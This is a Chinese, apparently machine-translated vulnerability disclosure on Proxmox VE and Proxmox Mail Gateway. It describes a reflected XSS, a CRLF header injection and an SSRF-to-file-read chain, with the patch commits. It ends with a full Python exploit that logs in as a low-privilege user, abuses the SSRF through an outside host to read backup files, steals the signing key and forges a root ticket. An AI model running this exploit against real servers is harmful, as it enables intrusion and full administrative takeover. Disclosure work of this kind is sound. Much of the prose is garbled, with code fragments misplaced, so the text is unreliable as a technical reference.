背景
Proxmox Virtual Environment(Proxmox VE 或 PVE)是一个开源的 Type-1 虚拟机管理程序。它包括一个用Perl编程的基于Web的管理界面。另一个用Perl编写的Proxmox产品,Proxmox Mail Gateway(PMG),带有类似的Web管理界面。它们共享一些代码库。
在本文中,我将逐步介绍如何调试 PVE 的 Web 服务,并分析我在 PVE 和 PMG 中发现的三个错误。
查找源代码
PVE是一个基于Debian的Linux发行版。ISO 安装程序可在他们的网站上找到。请注意,如果您想重现本文中的任何错误,请使用 2022 年 5 月 4 日更新的“Proxmox VE 7.2 ISO 安装程序”,除非您手动运行,否则不包括补丁。apt update
在默认安装中,Web 服务应侦听端口 8006。

使用几个命令,不难弄清楚 Web 服务的脚本位于:/usr/share/perl5/
ss -natlp | grep 8006 # Which process is listening on port 8006
which pveproxy # Where is the executable
head `which pveproxy` # Is it an ELF, a shell script or something else?
find /usr -name "SafeSyslog*" # Where is the "SafeSyslog" module used by pveproxy?

设置调试环境
我选择IntelliJ IDEA及其Perl插件进行调试。以下是设置它的步骤:
在 IDEA 中
- 打包 PVE 服务器并将其作为 IDEA 中的项目打开/usr/share/perl5/
- 转到 设置> 插件并安装 Perl 插件
- 转到 Perl5 >>语言和框架 设置,选择一个 Perl5 解释器 ( 本地 和 Docker 都可以),然后将 目标版本 设置为 v5.32,与 PVE 使用的版本相同perl --version
- 在项目窗口(Alt+1)中,右键单击目录, 将目录标记为>Perl5库根目录 。perl5
在此阶段,您应该在 IDEA 中具有正确的语法突出显示和依赖项解析。

- 转到 运行>编辑配置 ,添加新的“Perl 远程调试”条目并保存:名称:PVE 遥控器远程项目根目录:/usr/share/perl5连接方式:IDE connects to the perl process服务器主机:您的 PVE 服务器 IP服务器端口:12345

在 PVE 服务器上
运行以下命令以安装所需的调试工具:
apt install gcc make
cpan Devel::Camelcadedb
一切就绪。要启动调试会话,请在 IDEA 中单击“运行”调试 “PVE 远程”> 并在服务器上运行。如果一切顺利,调试器应该在第 330 行中断默认情况下,如下图所示。PERL5_DEBUG_HOST=<your PVE server IP> PERL5_DEBUG_PORT=12345 PERL5_DEBUG_ROLE=server perl -T -d:Camelcadedb /usr/bin/pveproxy start -debugSSL.pm

错误 0x01:API 检查器中的身份验证后 XSS
通过登录 Web 界面,可以观察到许多请求被发送到路径下的端点。通常,after表示响应数据的格式,服务器可能支持各种格式用于不同的目的。例如,可以为 RPC 调用、跨源标记或设置实现。在 PVE 中,如果我们更改为,服务器将返回一个包含 json 结果的“API 检查器”页面:/api2/json/json/apixmljsonp<script>htmlinnerHTMLjsonhtml

进一步的测试表明,服务器没有正确转义用户的输入。如果我们访问一个不存在的 API 端点,请求路径将反映在 antag 的属性中。因此,攻击者可以注入 HTML 标记以实现反射式跨站点脚本。href<a>

进一步分析
功能线 1100 是我们的入口点。如果请求路径以 开头,它将传递请求以运行。handle_requestperl5/PVE/APIServer/AnyEvent.pm/api2handle_api2_request

进入,我们可以在第 865 行看到变量,并且通过正则表达式从请求路径的其余部分中提取。然后调用函数以获取用于生成响应的“格式化程序”。handle_api2_request$rel_uri$formatPVE::APIServer::Formatter::get_formatter

后来,泰斯在946行打电话。在生成导航栏的“痕迹导航”HTML 时,请求路径直接连接到标签的属性。$formatterhref<a>


影响、攻击条件和限制
由于身份验证cookie是使用属性设置的,因此成功利用该漏洞需要受害者在访问恶意链接之前在同一浏览器会话中登录到Web界面。PVEAuthCookieSession
攻击者可以通过执行恶意 JavaScript 代码来访问 Web 界面中的每个功能。功能之一是执行 shell 命令。这是演示可能的攻击场景的视频。在视频中,受害者登录了PVE Web UI,然后访问了一个链接。攻击者的计算机上生成了 PVE 主机的反向外壳。
补丁
通过将用户输入编码为 HTML 实体反转来修补此漏洞。pve-http-server4.1-2
错误0x02:响应标头中的 CRLF 注入
在处理 HTTP 请求时,如果出现任何错误,PVE 服务器将在响应的状态行中写入错误消息。

相应的代码位于:perl5/PVE/APIServer/AnyEvent.pm
# line 294
my $code = $resp->code;
my $msg = $resp->message || HTTP::Status::status_message($code);
($msg) = $msg =~m/^(.*)$/m; # [1]
# ...
# line 308
my $proto = $reqstate->{proto} ? $reqstate->{proto}->{str} : 'HTTP/1.0';
my $res = "$proto $code $msg\015\012"; # [2]
At服务器使用正则表达式来匹配错误消息的第一行,试图避免其他行破坏HTTP响应。但是,此方法仅阻止 LF(%0a)。仍然可以在基于 Chromium 的浏览器中注入带有 CR(%0d) 的响应标头。[1][2]

以下是 Burp Suite 中的响应:

影响、攻击条件和限制
在测试时,使用 CR(%0d) 注入响应标头仅适用于基于 Chromium 的浏览器(Chrome、MS Edge、Opera 等),并且无法仅使用 CR(%0d) 注入到响应正文中。Firefox 不承认 CR(%0d) 是没有 LF(%0a) 的有效换行符。
PVE 中的这个错误乍一看似乎完全无害。不幸的是,在第 1327 行,对传入的 HTTP 请求进行了长度限制检查。如果请求标头超过 8192 字节,服务器将拒绝处理 HTTP 请求。AnyEvent.pm
# line 55
my $limit_max_header_size = 8*1024;
# ...
# line 1327
die "http header too large\n" if ($state->{size} += length($line)) >= $limit_max_header_size;
因此,攻击者可以制作恶意网页,在受害者的 PVE 域上多次设置长 cookie。一旦受害者访问恶意网页,对 PVE 域的后续 HTTP 请求将携带很长的 cookie 标头,从而被服务器拒绝。
下面是演示此客户端 DoS 漏洞的视频。在视频中,受害者最初能够使用PVE Web UI。访问恶意链接后,受害者在清除 cookie 之前无法再访问 Web UI。
需要注意的一件事是,Chrome默认允许第三方cookie。这是利用此客户端 DoS 错误的必要条件,因为我们正在设置从攻击者域到受害者 PVE 域的 cookie。但是,如果受害者在浏览器设置中将其 cookie 策略更改为“阻止第三方 cookie”或“阻止所有 cookie(不推荐)”,则此攻击将不起作用。
补丁
此错误通过添加额外的反转检查来修补。\r\npve-http-server4.1-3
错误 0x03:身份验证后 SSRF + LFI + 权限提升
SSRF
PVE 服务器可以作为独立节点运行,也可以加入群集以与其他节点连接。这种设计自然允许节点相互交换信息。例如,用于按名称查询集群中节点状态的 apii。它还可用于查询节点本身。/api2/json/nodes/{node_name}/status

如果我们将 the更改为不存在的值“test”,我们将看到以下错误消息:服务器似乎正在尝试对给定的服务器执行DNS查找。使用Burp Collaborator的快速测试验证了我们的猜测:node_nameHTTP/1.1 500 hostname lookup 'test' failed - failed to get address info for: test: No address associated with hostnamenode_name

通过分步调试,我们能够在其中找到相应的代码。事实证明,服务器解析为 IP 地址,然后将我们的 HTTP 请求中继到。AnyEvent.pm:proxy_requestnode_namehttps://{IP}:8006/api2/json/nodes/{node_name}/status

我们可能想在这里尝试的一件事是设置我们自己的HTTPS服务器,以使用有效的SSL证书侦听端口8006,并观察中继的请求是否可以进入。虽然它不是这样工作的,因为在触发请求之前会执行多项检查,并且希望为群集中的每个节点找到其中一个检查。无论我们输入自己的域名还是IP地址,服务器都将永远找不到证书文件,因为该文件不指向集群中的任何真实节点。因此,它只是在TLS握手期间抛出错误“ HTTP / 1.1 596 tls_process_server_certificate:证书验证失败”并停止在那里。/etc/pve/nodes/{node_name}/pve-ssl.pemnode_name
我们注意到的另一件事是在构造 URL 时附加到端口(上图中的 699、703 和 705 行)。开发人员可能已经假设这将始终以斜杠(/)开头。虽然事实并非如此,因为我们发现可以在不破坏请求解析器的情况下将 slash(/) 替换为其 URL 编码形式。$uri$target$uri%2F

我们试图将 URL 的起始部分转换为 userinfo 并使用 at 符号 (@) 附加我们自己的域,但其中一个健全性检查再次阻止了我们。经过多次尝试,我们设法找到了一个合适的 API 来利用此 SSRF 漏洞:此 API 接受任何字符串,这意味着我们可以设置为有效节点,以便它不会因证书问题而失败。然后我们使用 URL 编码的斜杠来控制主机名。GET /api2/json/nodes/{node_name}/tasks/{upid}/logupidnode_name@


在 PVE 中没有任何权限的经过身份验证的用户能够执行此 SSRF 攻击。由于 PVE 和 PMG 之间存在大量共享代码库,PMG 中仅具有低权限“帮助台”角色或“审核”角色的经过身份验证的用户也可以使用 API 利用此 SSRF 漏洞。/api2/html/nodes/{node_name}/pbs/{remote}/snapshot/
任意文件读取
在 的回调函数中,服务器在响应标头(第 778 行)中查找标头并将其值提取给稍后传递给 variable.is,服务器将返回文件的内容作为响应正文。http_requestpvestreamfile$stream$streamsysopen

易受攻击的代码也存在于PMG中。攻击者可以利用前面提出的 SSRF 漏洞,读取 PVE/PMG 服务器上的任意文件,在 PVE 中仅使用非特权帐户或在 PMG 中仅使用低权限帐户。Theis 在进程中称为 “pve(pmg)proxy worker”,uid=33(www-data)。sysopen

通过不安全的备份文件在PMG中提升权限
由于能够读取任意文件,黑客可能对存储在服务器上的凭据和密钥特别感兴趣。我们决定深入研究身份验证过程的实现,以查看服务器是否在数据库或配置文件中存储任何内容,以明文形式或通过某些“密钥”加密。
PVE/PMG 中的身份验证通过使用 RSA/SHA-1 对字符串进行签名和验证来实现。成功登录后,服务器将为客户端签署“票证”,称为“PVEAuthCookie”或“PMGAuthCookie”。以下是票证示例:
PVE:user01@pve:62BD5976::L1CM303sdb4Lr8yFOxFbw7KNYQ2SKI6LugQJj0+JDBpTG3L2QBBMQTe8Q2/VgECWumE8OyjB1ff15GIMLnHAnOTdGeRUbntaMQhU5kHr6TZsAbRRzZ6MTBqkFTq0lJUcK86BcNpHUaciABVEEjVvgDnOOToJXSMvM/qxzmiusTrx5wpturrF1D8hmhay2sG9eEuKwXVsIb6aeBL0Vcwm7V8VUQ0qqnUyaArAaJ4eW1MLIXgHl23OySYEl3CMg5mdbHyn+B0ITz8N4mYWXA2BedVxwE1Uo6NltJDsd63Mgob7ey9xmZSQI2M9qrLZIIhPbfK6panXJBvuCqAILZKjmw==
双冒号分隔明文和签名。明文的格式是。虽然签名是使用存储在 PVE 或 PMG 的私钥生成的,但只有 root 用户对这些文件具有读写权限。PVE:{username}@{realm}:{hex(timestamp)}/etc/pve/priv/authkey.key/etc/pmg/pmg-authkey.key
root@pve7:~# ls -l /etc/pve/priv/authkey.key
-rw------- 1 root www-data 1675 Jun 30 10:52 /etc/pve/priv/authkey.key
root@pmg:~# ls -l /etc/pmg/pmg-authkey.key
-rw------- 1 root root 1679 Jun 9 11:43 /etc/pmg/pmg-authkey.key
但是,事实证明,如果曾经使用过PMG中的备份功能,则备份文件将包含身份验证密钥。更重要的是,它可被www-data用户读取:
root@pmg:/var/lib/pmg/backup# ls -l
total 12
-rw-r--r-- 1 root root 10799 Jun 9 17:16 pmg-backup_2022_06_09_62A1BA65.tgz
备份文件的路径可以从任务日志中提取,www-data用户也可以访问该日志。结合上述所有漏洞,攻击者可以伪造票证,实现从低权限“帮助台”角色或“审计”角色到PMG中完全访问权限的权限提升。"root@pam"
概念验证
我们在下面附上了python脚本和演示此漏洞的视频。在视频中,攻击者以“帮助台”用户身份登录PMG Web UI,由于权限低,无法更改当前用户的角色。运行漏洞后,生成了伪造票证,攻击者获得了对 Web UI asuser 的访问权限。"root@pam"
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {} # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f'PMG:{username}:{timestamp}'
authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing authkey to {authkey_path.name}')
authkey_path.write(authkey_bytes)
authkey_path.close()
txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f'writing plaintext to {txt_path.name}')
txt_path.write(plaintext.encode('utf-8'))
txt_path.close()
logging.info(f'calling openssl to sign')
sig = subprocess.check_output(
['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
sig = base64.b64encode(sig).decode('latin-1')
ret = f'{plaintext}::{sig}'
logging.info(f'generated ticket for {username}: {ret}')
return ret
def read_file(hostname, port, ticket, localhostname, filename):
logging.info(f'reading {filename}')
raw_req = f'GET %2Fapi2%2Fhtml%2Fnodes%2F{localhostname}%2Fpbs%2F@t7.cal1.cn/snapshot/?f={urllib.parse.quote_plus(filename)} HTTP/1.1\r\n' \
f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(ticket)}\r\n' \
'Connection: close\r\n' \
'\r\n'
logging.debug(raw_req)
context = ssl.create_default_context()
# disable cert check
context.check_hostname = False
context.verify_mode = ssl.VerifyMode.CERT_NONE
ret = b''
with socket.create_connection((hostname, port), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
ssock.send(raw_req.encode())
while True:
try:
buf = ssock.recv(2048)
ret += buf
if (len(buf) < 1):
break
logging.info(f'recv {len(buf)} bytes')
except socket.timeout:
logging.error('recv timeout, maybe the file doesn\'t exist')
break
return ret
def get_authkey_from_tgz(tgz_bytes):
tar = tarfile.open(fileobj=io.BytesIO(tgz_bytes))
logging.info('reading ./config_backup.tar from tgz')
tar2 = tarfile.open(fileobj=tar.extractfile(tar.getmember('./config_backup.tar')))
logging.info('reading etc/pmg/pmg-authkey.key from ./config_backup.tar')
authkey_bytes = tar2.extractfile(tar2.getmember('etc/pmg/pmg-authkey.key')).read()
logging.info(f'read authkey_bytes length: {len(authkey_bytes)}')
return authkey_bytes
def exploit(username, password, realm, target_url, generate_for):
# login
logging.info(f'logging in with username:{username}')
req = requests.post(f'{target_url}api2/extjs/access/ticket',
verify=False,
data={'username': username, 'password': password, 'realm': realm},
proxies=PROXIES)
if req.status_code != 200:
logging.error(f'login failed: expect 200, got {req.status_code}. Please check target_url')
exit(1)
res = json.loads(req.content.decode('utf-8'))
if res['success'] != 1:
logging.error(f'login failed: {res["message"]}. Please check username/password/realm')
exit(1)
ticket = res['data']['ticket']
localhostname_re = re.compile('PMG:.*?@(.*?):[0-9A-F]{8}::')
localhostname = localhostname_re.findall(ticket)[0]
logging.info(f'logged in, user: {res["data"]["username"]}, role: {res["data"]["role"]}, localhostname: {localhostname}')
# read file
parsed_target = urllib.parse.urlparse(target_url)
hostname = parsed_target.hostname
port = parsed_target.port
task_index = read_file(hostname, port, ticket, localhostname, '/var/log/pve/tasks/index').decode('utf-8')
task_index = task_index.split('\r\n\r\n')[1]
backup_re = re.compile('^(UPID:.*?:backup::.*?) ([0-9A-F]{8}) OK#39;, re.MULTILINE)
backup_tasks = backup_re.findall(task_index)
# we start looking for the tgz file from the lastest update
backup_tasks.reverse()
logging.info(f'found {len(backup_tasks)} successful backup tasks')
for i in backup_tasks:
# extract backup tgz filepath from task details
task_detail = read_file(hostname, port, ticket, localhostname, f'/var/log/pve/tasks/{i[1][-1]}/{i[0]}').decode('utf-8')
backuptgz_re = re.compile('^starting backup to: (.*?\.tgz)#39;, re.MULTILINE)
backuptgz_path = backuptgz_re.findall(task_detail)
if len(backuptgz_path) == 0:
logging.info(f'no backup file')
continue
backuptgz_path = backuptgz_path[0]
logging.info(f'found backup file: {backuptgz_path}')
# read the backup tgz file and extract pmg-authkey.key
backuptgz_content = read_file(hostname, port, ticket, localhostname, backuptgz_path)
if not backuptgz_content:
logging.info(f'no backup file')
continue
backuptgz_content = backuptgz_content.split(b'\r\n\r\n', 1)[1]
authkey_bytes = get_authkey_from_tgz(backuptgz_content)
new_ticket = generate_ticket(authkey_bytes, username=generate_for)
logging.info('veryfing ticket')
req = requests.get(target_url, headers={'Cookie': f'PMGAuthCookie={new_ticket}'}, proxies=PROXIES,
verify=False)
res = req.content.decode('utf-8')
verify_re = re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:')
verify_result = verify_re.findall(res)
logging.info(f'current user: {verify_result[0]}')
logging.info(f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(new_ticket)}')
break
def _parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', metavar='username', required=True, help='A low privilege account in PMG')
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg")
parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam")
parser.add_argument('-t', metavar='target_url',
help='Please keep the trailing slash, example: https://10.0.0.24:8006/',
required=True)
return parser.parse_args()
if __name__ == '__main__':
arg = _parse_args()
exploit(arg.u, arg.p, arg.r, arg.t, arg.g)
补丁
有几个反转应用了提交来修复错误链。pve-http-server4.1-3
- https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=580d540ea907ba15f64379c5bb69ecf1a49a875f
- https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=e9df8a6e76b2a18f89295a5d92a62177bbf0f762
- https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=c2bd69c7b5e9c775f96021cf8ae53da3dbd9029d
译 https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/